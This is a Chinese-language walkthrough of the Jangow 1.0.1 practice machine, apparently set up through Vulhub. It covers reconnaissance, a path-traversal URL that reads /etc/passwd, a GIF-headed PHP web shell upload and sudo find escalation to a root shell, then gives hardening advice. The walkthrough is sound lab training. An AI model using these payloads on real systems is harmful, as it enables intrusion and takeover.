news 2026/10/28 21:33:20

Jangow 1.0.1靶机渗透测试实战与漏洞分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Jangow 1.0.1靶机渗透测试实战与漏洞分析

1. 靶场环境概述

Jangow 1.0.1是Vulhub漏洞集成环境中一个经典的Web渗透测试靶机,模拟了真实世界中存在多种漏洞的网站系统。这个靶场特别适合练习从信息收集到权限提升的完整渗透流程,包含了目录遍历、文件上传、命令注入等常见漏洞类型。

我在本地搭建测试环境时发现,这个靶机对初学者非常友好,所有漏洞都设计得恰到好处——既不会过于简单而失去挑战性,也不会复杂到让人无从下手。整个渗透过程就像在解一个精心设计的谜题,每一步都能学到新东西。

2. 环境搭建与配置

2.1 Vulhub基础环境准备

首先需要确保已安装Docker和Docker Compose。我推荐使用Ubuntu 22.04 LTS作为宿主机系统,这是目前最稳定的选择:

# 更新系统包 sudo apt update && sudo apt upgrade -y # 安装必要依赖 sudo apt install -y docker.io docker-compose git

注意:如果之前安装过旧版Docker,务必先彻底卸载避免冲突。我在测试中发现残留的docker-ce包会导致端口绑定异常。

2.2 获取Vulhub源码

建议直接从GitHub克隆最新版仓库:

git clone https://github.com/vulhub/vulhub.git cd vulhub/jangow/1.0.1

这个靶机的目录结构非常清晰:

  • docker-compose.yml:容器编排文件
  • src/:存放靶机Web应用的源码
  • README.md:包含基本说明信息

2.3 启动靶机环境

执行以下命令启动服务:

docker-compose up -d

启动完成后,通过docker ps检查容器状态,正常应该看到两个服务:

  • jangow_web:运行Apache+PHP的Web服务
  • jangow_db:MySQL数据库服务

访问http://localhost:8080即可看到靶机首页。我在首次启动时遇到端口冲突,发现是宿主机已有服务占用了8080端口,通过修改docker-compose.yml中的端口映射解决:

ports: - "8088:80" # 将外部访问端口改为8088

3. 渗透测试实战流程

3.1 信息收集阶段

使用经典的侦察工具组合:

# 目录扫描 dirb http://localhost:8088 /usr/share/wordlists/dirb/common.txt # Nikto漏洞扫描 nikto -h http://localhost:8088

扫描结果中几个关键发现:

  • /site/:主站入口
  • /backup/:存在目录遍历漏洞
  • /admin/:后台登录页面
  • 服务器版本信息:Apache/2.4.7 (Ubuntu)

我特别注意到/backup/目录的目录遍历漏洞,这是整个渗透测试的突破口。通过构造特殊URL可以查看服务器上的敏感文件:

http://localhost:8088/backup/../../../../etc/passwd

3.2 漏洞利用过程

3.2.1 文件上传漏洞利用

在/site/页面发现一个图片上传功能,经过测试发现没有正确验证文件类型。我使用Burp Suite拦截上传请求,修改文件头为图片格式但保留PHP代码:

GIF89a; <?php system($_GET['cmd']); ?>

上传后访问该文件并附加命令参数:

http://localhost:8088/uploads/shell.php?cmd=id

成功返回了uid=33(www-data),证明获得了Web Shell。

3.2.2 权限提升技巧

通过Web Shell发现系统存在sudo配置漏洞:

sudo -l User www-data may run the following commands on jangow: (ALL) NOPASSWD: /usr/bin/find

利用find命令的特性进行提权:

sudo find /home -exec /bin/bash \;

这样就获得了root权限的shell。在实际测试中,我发现这个靶机还隐藏着其他提权路径,比如通过修改cron job或者利用内核漏洞,这为深入学习提供了更多可能性。

4. 漏洞修复建议

4.1 安全加固方案

针对发现的漏洞,可以采取以下防护措施:

  1. 目录遍历防护:

    • 在Apache配置中添加:
      <Directory /var/www/html> Options -Indexes AllowOverride All </Directory>
    • 在PHP代码中校验所有文件路径参数
  2. 文件上传安全:

    • 白名单验证文件扩展名和MIME类型
    • 使用随机文件名存储上传文件
    • 设置上传目录不可执行
  3. 权限控制:

    • 遵循最小权限原则配置sudo
    • 定期审计系统权限配置

4.2 监控与日志

建议部署以下监控措施:

  • 实时监控Web服务器日志中的可疑请求
  • 设置文件完整性监控(如AIDE)
  • 对敏感命令执行进行审计

5. 学习价值与延伸思考

Jangow 1.0.1靶机最宝贵的地方在于它模拟了真实渗透测试中的典型场景。通过这个实验,我总结出几点重要经验:

  1. 信息收集决定渗透深度:最初发现的目录遍历漏洞看似简单,但为后续攻击提供了关键跳板。在实际测试中,全面的信息收集往往比直接攻击更有效。

  2. 漏洞链的利用思维:单独看每个漏洞可能危害有限,但组合利用就能产生巨大威力。这个靶机完美展示了如何将多个中低危漏洞串联成完整攻击链。

  3. 环境配置的重要性:从Docker网络设置到sudo权限配置,系统管理中的细微疏忽都可能成为突破口。这提醒我们在运维中必须注重细节安全。

对于想进一步学习的同学,我建议尝试以下挑战:

  • 不利用文件上传漏洞,通过其他方式获取Web Shell
  • 探索除find外的其他提权方法
  • 尝试编写自动化渗透脚本复现整个攻击流程

这个靶场环境我已经反复测试了十余次,每次都能发现新的细节。它就像一本活的渗透测试教科书,值得安全爱好者深入钻研。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/28 21:30:43

数学上门家教全流程:从接单诊断到续课转介绍

做数学上门家教这件事&#xff0c;我是从大二下学期开始碰的。那时候手里没什么资源&#xff0c;也没想过能做成什么样&#xff0c;纯粹是同专业一位师兄临时有事&#xff0c;把一个初三学生的周末课转给了我&#xff0c;说“你去顶两次&#xff0c;数学这东西你肯定讲得了”。…

作者头像 李华
网站建设 2026/10/28 21:27:14

Agent-Reach 实战:Python 构建稳定 AI Agent 数据触达层

1. Agent-Reach 到底解决了什么问题第一次看到 Agent-Reach 这个名字&#xff0c;我下意识以为是某个新出的 AI 搜索工具&#xff0c;翻了一圈 GitHub 和社区讨论之后才反应过来——它瞄准的是一个更底层、也更让人头疼的问题&#xff1a;AI Agent 怎么稳定地“够得着”外部世界…

作者头像 李华
网站建设 2026/10/28 21:26:52

Cloudflare OS解析:无盘启动与镜像化Linux大规模部署实践

有段时间我在研究边缘节点的大规模系统部署&#xff0c;翻到一个很有意思的开源项目&#xff1a;cloudflare-os。这是Cloudflare把自家数据中心里跑的那套服务器操作系统工程化的产物&#xff0c;准确说是一个基于Linux的无盘启动、集中式管理的极简发行版构建方案。它解决的核…

作者头像 李华
网站建设 2026/10/28 21:25:07

直播流量异常与黑灰产防御实战指南

1. 直播间流量异常现象解析那天晚上10点23分&#xff0c;我正在刷着快手某个头部主播的直播间。突然发现右上角的在线人数像坐火箭一样从3万飙到12万&#xff0c;但诡异的是弹幕数量反而减少了近40%。作为在互联网安全领域摸爬滚打8年的老兵&#xff0c;我立刻意识到&#xff1…

作者头像 李华
网站建设 2026/10/28 21:23:15

Cloudflare Workers 是怎样的执行环境抽象层?

1. 项目概述&#xff1a;这不是一个操作系统&#xff0c;而是一次对“边缘计算范式”的重新定义“cloudflare-os”这个标题一出来&#xff0c;很多人第一反应是——Cloudflare出操作系统了&#xff1f;是不是要对标Linux、鸿蒙&#xff0c;甚至挑战Windows在桌面端的地位&#…

作者头像 李华
网站建设 2026/10/28 21:22:38

前端视频流协议统一API设计与实践

1. 视频流协议的前端困局&#xff1a;为什么我们需要统一API&#xff1f;2018年&#xff0c;我在负责一个大型在线教育平台的前端架构时&#xff0c;遇到了一个典型的多协议兼容问题。当时平台需要同时支持HLS直播课程、FLV录播回放和WebRTC实时互动三种场景。每次新增业务功能…

作者头像 李华